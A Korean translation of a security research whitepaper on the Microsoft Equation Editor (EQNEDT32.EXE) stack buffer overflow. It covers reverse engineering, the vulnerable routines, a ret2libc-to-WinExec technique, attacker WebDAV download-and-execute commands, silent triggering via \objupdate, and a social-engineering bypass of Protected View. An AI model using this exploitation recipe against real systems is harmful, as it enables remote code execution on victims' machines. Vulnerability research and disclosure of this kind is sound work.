공개된 whitepaper를 번역한 내용입니다. 발번역 죄송.

1.개요

전형적인 연구의 시작은 무엇인가? 어떤 연구들은 일반적인 툴로 취약점을 찾는 것을 시작한다. 많은 시간과 노력을 필요로 하지 않음에도 불구하고 잘 동작한다. 찾는 과정은 최신의 소프트웨어에 사용된 써드파티 라이브러리와 IT커뮤니티에 잘 알려진 취약점에 집중한다.

개발자는 스마트 디바이스의 다양한 버전은 동일한 써드파티와 레거시 코드(더 이상 지원되지 않는 코드)를 이용해 만든다. 일반적으로 레거시 코드는 보안 개발 가이드라인을 따르지 않는 먼 옛날의 코드이다. 달리 말하면, 소스코드를 잃어버렸거나 바이너리파일만 남아있는 가능성이 크다. IoT 세계의 현실을 명심하라(갑자기 왠 IoT??). 임베디의 보안 전문가들은 PC 소프트웨어를 분석했고 그 중에서 오랜 역사를 가진 메이저 오피스 어플리케이션 마이크로오피스를 선택했다. 오피스의 첫 버전은 20년 전에 배포되었다. 오피스는 SDL을 준수하여 개발되고 있다. 전담 보안팀은 소프트웨어 제품의 보안 향상을 위해 끊임없이 없이 일했고, 그 동안 오피스는 공격자들에게 아주 구미가 당기는 타켓임이 증명되었다.

준비 전략과 방법

이 연구에서 답변되어야 할 중요한 질문은 “MS 오피스제품군(MS오피스를 이루는 구성요소)의 써드파티나 레거시 코드에서 취약점을 찾고 최신의 윈도우에서 익스플로잇 하는 것이 얼마나 쉬운가?”이다.
철저하고 정확한 연구는 MS오피스의 공격면을 구착하는 것을 필요로 한다. 이 공격면은 다음을 정의하는 역할을 한다.

• 공격가능한 MS오피스제품군의 요소
• 성공적인 공격을 위해 사용될 수 있는 방법
• 포맷과 문서의 다른 영역을 영역을 핸들링하는 역할의 MS오피스제품군의 모듈

또한, 잠재적인 보안 약점을 찾기 위해 메모리 콜럽션 취약점에 대응하여 가장 적은 수의 보안 완화기능이 활성화된 실행가능한 모듈을 찾는 것은 가치가 있다. 자세한 내용은 https://msdn.microsoft.com/en-us/library/windows/desktop/cc307418.aspx 을 참고하라.

MS 검증 툴, BinScope,은 보안 약점을 찾는데 편의를 제공할 것이다. 비록 최신의 Binscope는 전체 리스트를 스캐닝하는 것을 지원하지 않지만, 파이썬이나 파워쉘로 작성된 스크립트는 과정을 더 쉽고 편리하게 해줄것이다. 물론, 후자는 이 기능은 지원하는 이전 버전의 Binsope에 해당한다.

이 간단한 절차는 시스템내에 설치된 위험한 컴포넌트를 찾는 것을 가능하게 하기 때문에 중요하다, 예를 들어 보안 완화 없이 컴파일된 최신의 컴포넌트이다.

• 마이크로소프트 방정식 에디터(기본적인 보안 조치없이 컴파일 됨)
• Redshift ODBC 드라이버와 라이브러리(기본적인 보안 조치없이 컴파일 됨)
• Salesforce 라이브러리(기본적인 보안 조치없이 컴파일 됨)
• 일부 닷넷 어셈블리들이 오피스의 유저 인터페이스를 담당하고 있음

분석후에, Binscope는 실행가능한 모듈 EQNEDT32.EXE(그림 1)를 확인했다. 이 요소는 2000/9/11에 컴파일 되었다. 재컴파일 없이, 이후버전의 오피스에 사용되었다.

이 요소는 Design Science Inc.에 의해 개발된 것으로 보인다. 하지만, 이후의 각 권한은 MS에서 구입했다.

ProcessMitigations tool 을 이용해 윈도우 10에서 검사한 결과는 오히려 더 실망스럽다(보안기능이 너무 없다라는 의미 인듯)

따라서, 취약점이 발견된다면 공격자의 익스플로잇을 막는 것은 불가능할 것이다.

2. EQNEDT32.EXE. Case history

그럼, 이 컴포넌트는 무엇이고 어떻게 동작하는가? 이 컴포넌트의 목적은 문서에서 방정식을 삽입하고 수정하는 것이다(그림4).

이것은 OLE기술의 도움으로 제작되었다. 문서에 삽입된 어떤 방정식은 하나의 OLE 객체이다. 이 컴포넌트는 오피스2000, 오피스2003과 관련있다. MS오피스2007 제품군부터 방정식을 보여주고 수정하는 방식이 바뀌면서 이 컴포넌트는 구식이 되었다. 이전 버전 문서와의 호환성을 위해 제품군에서 지워지지 않았다. 이 컴포넌트는 OutProc COM 서버로 독립된 실행 주소를 갖는다. 이것은 워드나 엑셀의 보안 메커니즘과 정책이 이 취약점을 익스플로잇하는데 어떠한 영향을 줄 수 없고, 공격자들에게는 다양한 가능성을 제공함을 의미한다.

OLE 기술 간단 설명

OLE의 도움으로 MS오피스 문서에 내장된 취약점을 이해하기 위해서는 우선 이 기술이 무엇인지를 이해 해야 한다. 문서에 내장된 OLE 객체는 두 파트가 있다.

• 내부 데이터
• 객체가 내장된 문서의 위치에 표시됨 그림

내부의 데이터는 아마도 유일하며, 문서와 되지 않고, 문서에 내장된 OLE객체에 의존할 것이다.(예 엑셀 테이블, 파워포인트 슬라이드). 하나의 문서가 열릴 때, 한 유저에게 그림이 보여진다(프레젠테이션 스트림). 그 OLE 컴포넌트는 로드되거나 실행된게 아니다. 오로지 유저가 그 객체를 더블클릭할 때, 내부의 데이터에서 OLE를 로드하는 절차가 시작된다. 그 절차는 COM 인터페이스 IPersistStorage 방법의 도움으로 수행된다. 이후에, 해당하는 액션(수정하는 작업)에 대한 DoVerb 메소드가 실행된다.

EQNEDT32.EXE 분석

EQNEDT32.EXE는 OLE를 위해 하나의 표준 COM 인터페이스 집합을 구현했다.

• IOleObject
• IDataObject
• IOlePlaceObject
• IOleInPlaceActiveObject
• IPersistStorage

취약점 탐지 관점에서, IPersistStoroage의 Load 메소드는 가장 가능성이는 것이다. 분명히 OLE 객체의 내부데이터가 분석되어 질것이다. 따라서 여기는 아마 취약점을 갖고있을 것이다. 간단한 리버싱 엔지니어링 기술을 통해 IPersistStorage:Load 메소드를 찾을 수 있다. OLE structured storage compound file의 “Equation Native” 스트림이 열리고 읽혀지는 것은 명백하다. 이 스트림은 한 방정식 내부의 바이너리 데이터를 저장하는데 사용 된다. 아래 그림의 형태를 갖는다.

해당 컴포넌트의 디스어셈블코드를 통해 방정식 내부의 데이터를 다음과 같이 설명할 수 있다.

• 2바이트이 헤더
• 최대 방정식 크기의 폼 필드(4바이트)
• 방정식 구조체의 헤더와 정보(24바이트)
• 임의의 길이의 내부 표현, 방정식의 기본 심볼과 태그로 표현됨.

이 연구의 가장 도적적인 부분은 방정식 형태를 분석하는 주된 절차를 확인하는 것이였다. HGLOBAL 글로벌 메모리의 내부 폼의 복사와 저장이 많은 참조를 갖는 글로벌 객체의 도움으로 수행되었기 때문에 이 작업은 어려웠다.
이 문제는 두 개의 다른 방정식을 처리하기위한 DBI drcov instrument(DynamoRIO 프레임워크의 부분)를 이용하여 code diff를 만듦으로 해결되었다. 커버리지는 IDA PRO의 lighthouse 플러그인의 도움으로 계산되었다(그림 7).

얻어진 함수들과 AlleyCat은 IPersistStrogae::Load 메소드를 찾기위한 경로를 만드는데 사용되었다(그림 8). 결과로 나온 경로는 몇몇의 함수로 구성된 간단한 것이였다. 이 방법은 한 방정식의 바이너리 형태를 분석하는 역할을 하는 주된 프로시져를 식별하는 것이 가능했고, 취약점을 찾는 과정이 훨씬 쉬워졌다.

취약점 찾기

MS오피스에 대한 최신의 공격들은 소셜 엔지니어링이나 로직 취약점(CVE-2017-0199)을 악용하여 수행되었다. 연구에서 사용된 보다 고전적인 옵션은 스택 기반 버퍼오버플로우였다. 004164FA 주소의 함수가 처음 눈에 띄었다. 이 함수의 주된 목적은 첫번째 인자로 전달받은 버퍼에 내부 폼의 Null로 끝나는 문자열을 복사하는 것이다(그림 9).

이 프로시저는 두개의 다른 프로시저로부터 호출될 수 있다. 두개 모두 고정된 길이의 스택 데이터를 전달하다. 두 프로시저모두 버퍼 오버플로우에 취약하다는 것이 더욱 중요하다. 첫번째 콜은 EqnFrameWinProc 함수에서 처리되는 특정 윈도우 메시지지 작업된 관련 있다는 것을 되었다. 즉, 이 함수를 익스플로잇하는 것은 쉬운게 아니였다.

두번째 콜은 방정식 바이너리 형태로부터 복사되는 폰트네임을 처리하는 것과 관련있음을 알게 되었다. 그 콜은 IPersistStroage:Load을 호출함으로써 수행될 수 있다. 하지만, 그러나 오버 플로우 된 프로 시저가 호출되기 때문에 함수를 직접적으로 활용하는 것은 불가능했다. 첫번째 함수의 버퍼가 너무 크면 실행되는 동안에 유효하지 않은 메모리에 접근하는 두번째 함수의 모든 인자를 덮어쓸 것이다. 따라서, 공격자가 제어하는 코드가 실행될때까지 컴포넌트 프로세스는 크래쉬가 난다. 편의를 위해 연구의 관점에서 LogfontStruct_Overflow 라고 이름을 붙였다. 이 함수는 00421774 주소를 갖고 LOGFONTA 구조체에서 오버플로우되는 버퍼는 그림 10과 같다.

아이러니하게도, 버퍼 크기를 수정하지 않아도 LogfontStruct_Overflow 함수의 입력 인자를 덮어쓰지 않으면 더 나은 상황을 만든다. 대신에 004115A7과 0041160F 주소에서 버퍼 오버플로우가 발생하게 된다. 전달된 문자열의 크기를 다시 보정하면 긍정적인 결과를 가져온다. 원하는 주소로 이동할 수 있다.

취약점 익스플로잇

이 경우에 ret2libc는 임의의 코드 실행을 필요로 한다. EQNEDT32.EXE에서 밝혀진 주소 집하의 첫번째 바이트는 0이다. 이것이 실행가능한 파일로부터 구성된 rop 체인을 복사하는 것이 불가능한 이유다. 해당 컴포넌트의 노후화로 다음과 같은 결과가 나왔다.

• EQNEDT32.EXE 개발자는 알수없는 이유로 WinExec 함수를 호출했다.
• 마지막에 설명한 함수가 WinExec에 딱 맞다.

결과는 다음과 같다. 최대 44바이트의 임의의 명령어 실행, 이 제한은 마지막에 오버플로우된 함수의 버퍼사이즈에 의해 발생합니다(그림 12)

따라서, 제어된 주소로 점프될 수 있다면 해당 스택은 WinExec의 도움으로 임의의 제어된 명령어를 수행하기에 적절한 구조를 갖게 됩니다(그림 11).

공격자에 의해 오버플로우된 배열의 크기는 36바이트 였다. 게다가 변수 v12와 저장된 ebp를 사용해 여분의 8바이트를 활용 가능했다.
설명된 취약점을 악용하는 몇몇의 OLE들을 삽입함으로써, 순차적인 임의의 명령어들을 수행할 수 있었다.(인터넷에서 임의의 파일을 다운로드하고 실행하는 것)
임의의 코드를 실행하는 가장 쉬운 방법은 공격자가 제어한느 WebDAV 서버로부터 실행가능한 파일을 다운받아 실행시키는 것이다. 그러나, 이것은 WebClident 서비스가 적절하게 운용되고 있을 때 가능한 일이다.
그럼에도 공격자는 cmd.exe /c start \attacker_ip\ff 와 같은 명령어를 실행하기 위해 설명한 취약점을 이용하는 것이 가능하다. 이러한 커맨드는 익스플로잇의 부분과 WebClient를 시작하는 트리거로 사용할 수 있다.
이후에 공격자는 \attacker_ip\ff\1.exe 명령어를 사용해 WebbDAV서버로부터 실가능한 파일을 시작할 수 있다. 실행가능한 파일의 시작 메커니즘은 \live.sysinternals.com\tools 와 비슷하다.
익스플로잇 과정을 통해, MS 오피스워드는 적절한 운용과 정보를 표시하게 된다(언급한 프레젠테이션 스트림은 OLE의 위치에 그림을 삽입한다). 이렇게 되면 공격자를 탐지하는 것은 더 어려워진다.
어떠한 유저와도 상호작용하지 않는(더블클릭하지 않는) 문서 내부의 OLE를 업데이트하기 위해서 공격자는 MS오피스의 RTF프로세서의 표준 기능중 하나인 OLE 자동 업데이트를 사용할 수 있다.
이 목적을 위해, \objupdate 속성이 \object 에 추가되어야 한다. 결과로 해당 취약점은 유저와의 상호작용 없이도 트리거 될 수 있다.
이와 같은 과정을 통해, Embedi의 전문가들은 다음과 같은 익스플로잇을 만들 수 있었다.

• 오피스 365를 포함해 지난 17년간 배포된 모든 버전에서 동작
• 모든 윈도우 버전에서 동작
• 모든 타입의 아키텍쳐와 관련 있음
• MS오피스를 사용하는 유저를 방해하지 않음
• 문서만 열리면 유저와의 상호작용을 필요로 하지 않음

유일한 방해물은 액티브 콘텐츠(OLE/액티브X/매크로)의 실행을 막는 프로텍티브 뷰 모드이다. 이것을 우회하기 위해 공격자는 사회공학적인 기법을 이용한다. 예를 들어, 그들은 유저에게 파일을 클라우드에 저장하라고 요청할 수 있다(원드라이브, 구글클라우드). 이 경우, 원격의 소스에서 얻어진 파일은 MOTW (Mark of The Web)로 표시되지 않고 파일을 열었을 때 프로텍티브 뷰 모드가 활성화 되지 않는다. 그러나, 해당 컴포넌트들인 최신의 표준 보안 완화기술로 컴파일 된다면 익스플로잇 되지 않을 것이다. 이것은 EQNEDT32.EXE가 쉽게 익스플로잇할 수 있는 엄청난 수의 취약점과 보안 약점을 가진 컴포넌트임을 보여준다.